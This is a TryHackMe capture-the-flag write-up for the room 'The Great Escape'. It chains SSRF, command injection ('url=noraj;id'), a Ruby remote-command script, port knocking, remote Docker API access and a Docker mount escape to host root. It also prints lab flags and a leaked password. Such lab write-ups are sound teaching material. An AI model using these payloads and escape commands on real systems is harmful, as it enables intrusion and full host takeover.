The Great Escape TryHackMe Write-up
Room
- Name: The Great Escape
- Profile: tryhackme.com
- Difficulty: Medium
- Description: Our devs have created an awesome new site. Can you break out of the sandbox?
The Great Escape
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient
Security.txt
What is security.txt
? Take a look at my article on the subject.
On the web app we can hit /.well-known/security.txt
:
Hey you found me! The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues. See https://securitytxt.org/ for more information. Ping /api/fl46 with a HEAD request for a nifty treat.
Let’s do that.
$ curl -I http://10.10.70.53/api/fl46 HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Thu, 18 Mar 2021 09:21:55 GMT Connection: keep-alive flag: THM{edited}
Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}
Web discovery
Unauthenticated we can only see a login form. But I quickly discovered /robots.txt
giving some interesting paths to try:
User-agent: * Allow: / Disallow: /api/ # Disallow: /exif-util Disallow: /*.bak.txt$
/api/
: I have no information about the API yet so let's skip it for now/exif-util/
it has an unauthenticated upload form/*.bak.txt$
I'll be able to leak some source code with that
I retrieved the source code of the upload form at /exif-util.bak.txt
.
<template> <section> <div class="container"> <h1 class="title">Exif Utils</h1> <section> <form @submit.prevent="submitUrl" name="submitUrl"> <b-field grouped label="Enter a URL to an image"> <b-input placeholder="http://..." expanded v-model="url" ></b-input> <b-button native-type="submit" type="is-dark"> Submit </b-button> </b-field> </form> </section> <section v-if="hasResponse"> <pre> {{ response }} </pre> </section> </div> </section> </template> <script> export default { name: 'Exif Util', auth: false, data() { return { hasResponse: false, response: '', url: '', } }, methods: { async submitUrl() { this.hasResponse = false console.log('Submitted URL') try { const response = await this.$axios.$get('http://api-dev-backup:8080/exif', { params: { url: this.url, }, }) this.hasResponse = true this.response = response } catch (err) { console.log(err) this.$buefy.notification.open({ duration: 4000, message: 'Something bad happened, please verify that the URL is valid', type: 'is-danger', position: 'is-top', hasIcon: true, }) } }, }, } </script>
This will send our image URL, either a HTTP link (http://example.org/image.png) or data-URI (data:image/png;base64,iVBOR...
) to an internal API (http://api-dev-backup:8080/exif). But we have an externally exposed API and trying to reach http://10.10.190.91/api/exif gives a 500 error because the endpoint exists but we did not provide any argument and it must be expecting the url
too. So /api/exif
exposed on port 80 must be the same API as /exif
on the internal port 8080.
But is there a difference in filtering between the production and backup API?
For now I don’t know, but with the error message I get I know it’s a Java backend: An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
.
Also if I make a SSRF to a controlled URL with ssrf-sheriff (eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000
) I retrieve the following entry leaking Java version (11.0.8):
2021-02-16T10:50:48.652+0100 info handler/handler.go:105 New inbound HTTP request {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}
Web exploitation
We can reach the internal dev APi via the public one (SSRF): /api/exif?url=http://api-dev-backup:8080/exif?url=xxx
and it seems that the internal one is vulnerable to command injection:
/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id
HTTP/1.1 200 OK Server: nginx/1.19.6 Date: Thu, 18 Mar 2021 09:15:06 GMT Content-Type: text/plain;charset=UTF-8 Content-Length: 360 Connection: close An error occurred: File format could not be determined Retrieved Content ---------------------------------------- An error occurred: File format could not be determined Retrieved Content ---------------------------------------- uid=0(root) gid=0(root) groups=0(root)
Quick PoC in Ruby to ease the epxloitation:
require 'httpclient' VULN_URL = 'http://10.10.70.53/api/exif' cmd = ARGV[0] data = { 'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}" } clnt = HTTPClient.new res = clnt.get(VULN_URL, data) if /Request contains banned words/.match?(res.body) puts 'We hit blacklist' else stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0] puts stdout end
Run it:
$ ruby rce.rb id uid=0(root) gid=0(root) groups=0(root) $ ruby rce.rb 'ls -lhA /root' total 20K lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git -rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt $ ruby rce.rb 'cat /root/dev-note.txt' Hey guys, Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff. Anyways, the password is fluffybunnies123 Cheers, Hydra $ ruby rce.rb 'ls -lhA /.dockerenv' -rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv
It seems we are running as root in a docker container and we found a password in dev-note.txt
: fluffybunnies123
. It's a valid password for the web app or SSH.
System enumeration
The note is saying file were removed and we have a git repository.
Let’s dig in the git repository:
$ ruby rce.rb 'cd /root; git --no-pager log --oneline' 5242825 fixed the dev note 4530ff7 Removed the flag and original dev note b/c Security a3d30a7 Added the flag and dev notes $ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p' commit a3d30a7d0510dc6565ff9316e3fb84434916dee8 Author: Hydra <hydragyrum@example.com> Date: Wed Jan 6 20:51:39 2021 +0000 Added the flag and dev notes diff --git a/dev-note.txt b/dev-note.txt new file mode 100644 index 0000000..89dcd01 --- /dev/null +++ b/dev-note.txt @@ -0,0 +1,9 @@ +Hey guys, + +I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin. + +Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port. + +Cheers, + +Hydra \ No newline at end of file diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..aae8129 --- /dev/null +++ b/flag.txt @@ -0,0 +1,3 @@ +You found the root flag, or did you? + +THM{edited} \ No newline at end of file
Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}
Port knocking
The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.
We can write a quick port knocker in Ruby:
require 'socket' ports = [42, 1337, 10420, 6969, 63000] ports.each do |port| puts "[+] Port: #{port}" sleep 1 begin s = TCPSocket.new '10.10.70.53', port s.close rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH next end end
Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:
- 2375: Docker REST API (plain)
- 2376: Docker REST API (SSL)
- 2377: Docker Swarm cluster management communications
It’s will be most likely be exposed on port 2375.
Let’s port knock and then see if the docker port is open:
$ ruby port-knock.rb [+] Port: 42 [+] Port: 1337 [+] Port: 10420 [+] Port: 6969 [+] Port: 63000 $ nmap -p 2375 10.10.70.53 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET Nmap scan report for 10.10.70.53 Host is up (0.034s latency). PORT STATE SERVICE 2375/tcp open docker Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Docker enumeration
Let’s use an environment variable (DOCKER_HOST
) to use the remotely exposed one for our current session. Then we can enumerate.
$ export DOCKER_HOST=tcp://10.10.70.53:2375 $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1 4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up 2 hours dockerescapecompose_api-dev-backup_1 cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up 2 hours 8080/tcp dockerescapecompose_api_1 548b701caa56 endlessh "/endlessh -v" 2 months ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1 $ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE exif-api-dev latest 4084cb55e1c7 2 months ago 214MB exif-api latest 923c5821b907 2 months ago 163MB frontend latest 577f9da1362e 2 months ago 138MB endlessh latest 7bde5182dc5e 2 months ago 5.67MB nginx latest ae2feff98a0c 3 months ago 133MB debian 10-slim 4a9cd57610d6 3 months ago 69.2MB registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB alpine 3.9 78a2ce922f86 10 months ago 5.55MB
There is a generic Alpine image.
EoP: Docker exploitation
Let’s check the GTFObin for docker and use it:
$ gtfoblookup linux shell docker docker: shell: Description: The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh $ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) # cat /root/flag.txt Congrats, you found the real flag! THM{edited}